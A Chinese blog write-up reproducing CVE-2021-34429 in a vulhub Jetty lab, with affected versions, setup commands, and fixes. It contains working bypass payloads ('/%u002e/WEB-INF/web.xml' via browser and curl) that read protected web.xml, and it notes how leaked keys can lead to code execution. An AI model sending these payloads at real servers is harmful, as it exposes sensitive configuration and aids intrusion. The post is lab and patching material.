当前位置: 首页 > news >正文

[ vulhub漏洞复现篇 ] Jetty WEB-INF 文件读取复现CVE-2021-34429

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 一、漏洞编号
  • 二、漏洞描述
  • 三、影响范围
  • 四、指纹信息
  • 五、环境搭建
  • 六、漏洞复现
    • 1、浏览器复现
    • 2、Linux复现
  • 七、WEB-INF/web.xml介绍
  • 八、漏洞修复
  • 九、相关资源

一、漏洞编号

CVE-2021-34429

二、漏洞描述

Jetty是一个开源的servlet容器,它为基于Java的web容器,例如JSP和servlet提供运行环境。Jetty是使用Java语言编写的,它的API以一组JAR包的形式发布。开发人员可以将Jetty容器实例化成一个对象,可以迅速为一些独立运行(stand-alone)的Java应用提供网络和web连接。
可以使用一些编码字符来制作URI,以访问WEB-INF目录的内容和/或绕过一些安全限制。默认合规模式允许带有包含 %u002e 段的 URI 的请求访问WEB-INF目录中的受保护资源。
例如,/%u002e/WEB-INF/web.xml可以检索 web.xml 文件的请求。这可能会泄露有关 Web 应用程序实现的敏感信息。同样,编码的空字符可能会阻止正确的规范化,因此/.%00/WEB-INF/web.xml也会检索 web.xml 文件。此漏洞是CVE-2021-28164和CVE-2021-28169的新的绕过方式。

三、影响范围

9.4.37 ≤ Eclipse Jetty ≤ 9.4.42
10.0.1 ≤ Eclipse Jetty ≤ 10.0.5
11.0.1 ≤ Eclipse Jetty ≤ 11.0.5

四、指纹信息

"match": "server_contains",
"content": "jetty"
"match": "banner_contains",
"content": "jetty"

五、环境搭建

由于前面写了十几篇详细的搭建过程,搭建过程都差不多,以后我就不写那么的详细了,我就不截图了,只把命令打出来
1、进入 CVE-2021-34429环境

cd vulhub/jetty/CVE-2021-34429 

2、启动 CVE-2021-34429环境

docker-compose up -d

3、查看 CVE-2021-34429环境

docker-compose ps

4、访问 CVE-2021-34429环境

http://192.168.13.131:8080/

5、查看 CVE-2021-34429提示信息

cat README.md

6、关闭 CVE-2021-34429环境

docker-compose down

六、漏洞复现

1、浏览器复现

http://192.168.13.131:8080/

在这里插入图片描述

访问http://192.168.13.131:8080/WEB-INF/web.xml出现404回显页面

http://192.168.13.131:8080/WEB-INF/web.xml

在这里插入图片描述

绕过限制访问web.xml

http://192.168.13.131:8080/%u002e/WEB-INF/web.xml

在这里插入图片描述

2、Linux复现

利用curl工具

curl -v 'http://192.168.13.131:8080/WEB-INF/web.xml'

在这里插入图片描述

绕过限制访问web.xml

curl -v 'http://192.168.13.131:8080/%u002e/WEB-INF/web.xml'

在这里插入图片描述

七、WEB-INF/web.xml介绍

其实就是一个WEB-INF/web.xml泄露之前,我们了解以下web.xml是一个什么样的文件,以及它的泄露会出现哪些问题。直接看WEB-INF这个文件夹吧。
WEB-INF主要包含以下内容:

/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:包含所有的 Servlet 类和其他类文件,类文件所在的目录结构与他们的包名称匹配。
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件。

在了解了web.xml这个文件内容之后,我们就可发现它里面所包含的信息就是敏感文件的分布情况。所以说只要我们有权限访问这个文件,我们就可以通过文件包含等手段进行敏感信息的获取。可能允许攻击者进一步升级。举两个例子:

Spring - 特权/访问权限的提升
在这种环境下,可能会从application.properties文件中泄漏敏感属性,例如 spring.datasource.url、spring.elasticsearch.rest.password、spring.h2.console.settings.web-admin-password、spring.influx.password、 spring.ldap.password 等
Apache Shiro - 远程代码执行
在这种环境下,可能会泄漏包含securityManager.rememberMeManager.cipherKey. 此密钥可用于通过rememberMecookie 中的反序列化来获取针对应用程序的远程代码执行。

八、漏洞修复

1、下载官方已发布最新版本,建议受影响的用户及时更新升级到最新版本。

https://www.eclipse.org/jetty/download.php

2、使用补丁版本,如9.4.43, 10.0.6, 11.0.6
3、官网建议,可以部署一些 Jetty重写规则,将原始请求 URI 中包含编码点段或空字符的任何请求重写为已知未找到的资源

https://github.com/eclipse/jetty.project/security/advisories/GHSA-vjv5-gp2w-65vm

九、相关资源

1、Jetty 不明确路径信息泄露漏洞 (CVE-2021-28164)

https://blog.csdn.net/qq_51577576/article/details/126800538

3、谷歌安装hackbar插件

https://blog.csdn.net/qq_51577576/article/details/122225228

4、docker 搭建 vulhub 靶场环境:

https://blog.csdn.net/qq_51577576/article/details/125048165

相关文章:

  • 【AI】PyTorch入门(九):模型、数据、训练过程的可视化工具TensorBoard
  • 安全防御(二)--- 防火墙域间双向NAT、域内双向NAT、基于VRRP的双机热备
  • 叶酸聚乙二醇叠氮 FA-PEG-N3(N3-PEG-甲苯磺酸酯/硫辛酸/丙烯酸酯)
  • 可能是最全的:虚拟机使用失败解决方案汇总
  • BatchNorm、LayerNorm、InstanceNorm、GroupNorm、WeightNorm
  • Node.js基础
  • STM32无硬件随机数发生器时生成随机数的方法
  • 时序约束实战
  • FL Studio21中文完整版升级下载
  • Netty源码剖析之NIOEventLoopGroup创建流程
  • Python语言学习:Python语言学习之面向对象编程OO(继承封装多态)/类方法/装饰器的简介、案例应用之详细攻略
  • 计算机毕业设计ssm基于java网上心理咨询系统50fxl系统+程序+源码+lw+远程部署
  • 备战数学建模47-数模常规算法之图论(攻坚站12)
  • 算法学习十八补二叉树递归套路+贪心算法一
  • Linux常用命令(上).
  • 《微软的软件测试之道》成书始末、出版宣告、补充致谢名单及相关信息
  • 【跃迁之路】【735天】程序员高效学习方法论探索系列(实验阶段492-2019.2.25)...
  • Angular 2 DI - IoC DI - 1
  • Golang-长连接-状态推送
  • k8s 面向应用开发者的基础命令
  • Netty+SpringBoot+FastDFS+Html5实现聊天App(六)
  • Node.js 新计划:使用 V8 snapshot 将启动速度提升 8 倍
  • SOFAMosn配置模型
  • Sublime Text 2/3 绑定Eclipse快捷键
  • vue从入门到进阶:计算属性computed与侦听器watch(三)
  • 大整数乘法-表格法
  • 分布式事物理论与实践
  • 简析gRPC client 连接管理
  • 力扣(LeetCode)22
  • 前端技术周刊 2018-12-10:前端自动化测试
  • 前嗅ForeSpider采集配置界面介绍
  • 实战|智能家居行业移动应用性能分析
  • 使用 QuickBI 搭建酷炫可视化分析
  • 一、python与pycharm的安装
  • 移动端解决方案学习记录
  • 最近的计划
  • Java数据解析之JSON
  • 第二十章:异步和文件I/O.(二十三)
  • ​插件化DPI在商用WIFI中的价值
  • #NOIP 2014# day.2 T2 寻找道路
  • #我与Java虚拟机的故事#连载08:书读百遍其义自见
  • (4)通过调用hadoop的java api实现本地文件上传到hadoop文件系统上
  • (delphi11最新学习资料) Object Pascal 学习笔记---第5章第5节(delphi中的指针)
  • (PyTorch)TCN和RNN/LSTM/GRU结合实现时间序列预测
  • (安卓)跳转应用市场APP详情页的方式
  • (二)windows配置JDK环境
  • (附源码)基于SpringBoot和Vue的厨到家服务平台的设计与实现 毕业设计 063133
  • (力扣)循环队列的实现与详解(C语言)
  • (三)centos7案例实战—vmware虚拟机硬盘挂载与卸载
  • (十六)Flask之蓝图
  • (详细版)Vary: Scaling up the Vision Vocabulary for Large Vision-Language Models
  • .bashrc在哪里,alias妙用
  • .bat批处理(五):遍历指定目录下资源文件并更新
  • .form文件_一篇文章学会文件上传
  • .net 8 发布了,试下微软最近强推的MAUI